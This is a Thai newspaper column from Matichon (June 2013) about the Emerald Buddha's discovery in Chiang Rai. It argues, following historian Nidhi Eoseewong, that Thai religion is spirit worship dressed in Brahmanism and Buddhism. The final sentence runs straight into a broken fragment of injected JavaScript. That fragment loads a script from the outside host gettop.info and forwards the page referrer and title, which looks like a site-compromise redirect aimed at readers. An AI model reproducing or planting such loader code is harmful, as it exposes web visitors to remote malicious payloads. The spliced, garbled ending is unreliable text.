มติชนรายวัน ฉบับประจำวันศุกร์ที่ 21 มิถุนายน 2556

 

          พระแก้วมรกต เป็นพระพุทธรูปแกะสลักจากหินสีเขียว ฝีมือช่างลาวล้านนาบริเวณเชียงราย-พะเยา ราวหลัง พ.ศ. 1900

          มีตำนานเล่าว่าพบครั้งแรกโดยบังเอิญขณะฝนตกใหญ่ เมื่อ พ.ศ. 1979 ฝังอยู่ในเจดีย์วัดป่าเยียะ (ปัจจุบันเปลี่ยนชื่อเป็นวัดพระแก้ว) อ. เมือง จ. เชียงราย (ไม่ใช่พบในลาว)

          สาธุชนยุคนั้นเลื่อมใส เป็นพระพุทธรูปศักดิ์สิทธิ์มากับฝน ทำให้มีน้ำท่าอุดมสมบูรณ์ด้วยพืชพันธุ์ธัญญาหาร เจ้าเมืองใหญ่ๆยุคนั้นจึงอาราธนาไปประดิษฐานบ้านเมืองของตนหลายเมือง (เช่น เมืองลำปาง, เมืองเชียงใหม่, เมืองหลวงพระบาง, เมืองเวียงจัน, ฯลฯ) ด้วยหวังว่าจะบันดาลให้มีฝนอุดมสมบูรณ์ตกต้องตามฤดูกาล

          นี่แหละศาสนาไทย ของไทย ในไทย คือศาสนาผี ที่ดึงเอาศาสนาพราหมณ์และพุทธมาคลุมให้ดูดี

          อ. นิธิ เอียวศรีวงศ์ เคยเขียนอธิบายศาสนาผีเรื่องนี้ไว้นานแล้ว (มติชนสุดสัปดาห์ ตุลาคม 2554) ว่าศาสนาผีเปิดพื้นที่ให้พุทธศาสนามากขึ้นตั้งแต่ยุคโบราณ ดังนั้นหลวงพ่อที่เป็นพระพุทธรูปต่างๆเป็นที่นับถือไม่ใช่ฐานะ“เจดีย์”ของพุทธ แต่เป็นที่สิงสถิตของผีที่มีอานุภาพยิ่งใหญ่

          ศาสนาผีเป็นฐานรากอันแข็งแกร่งมาแต่ยุคดึกดำบรรพ์นานหลายพันปีของไทยและอุษาคเนย์(อาเซียน) ต่อมาจึงรับสิ่งละอันพันละน้อยของศาสนาพราหมณ์กับพุทธ โดยเลือกเอาส่วนที่ไม่ขัดกับหลักผี เข้ามาประดับประดาศาสนาผี เพื่อให้ดูดีมีสง่าราศี และทันสมัย น่าเลื่อมใสศรัทธาขึ้น

          ด้วยเหตุนี้เองจึงควรทำความเข้าใจตามพฤติกรรมที่เป็นจริง ว่าไทยนับถือศาสนาผี-พราหมณ์-พุทธ (ไม่ใช่พุทธ-พราหมณ์-ผี)

          ศาสนาพุทธแท้ๆตามอุดมคติมีในพระไตรปิฎกเท่านั้น แต่ที่เห็นในไทยเป็นศาสนาไทย คือศาสนาผี คลุมไว้ด้วยพราหมณ์กับพุทธ

          ถ้าเข้าใจตามที่เก็บความจาก อ. นิธิมาบอกนี้ โดยไม่หลงคิดแล้วเชื่อไปเองว่าไทยนับถือศาสนาพุทธแท้ๆ ทุกคนก็ย่อมเข้าใจปรากฏการณ์หลวงปู่, หลวงตา, หลวงพ่อ ทั้งหลายได้ โดยไม่เป็นทุกข์กับอะไรต่อมิอะไรที่มีข่าวแพร่หลายตามสื่อต่างๆขณะนี้} else {s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;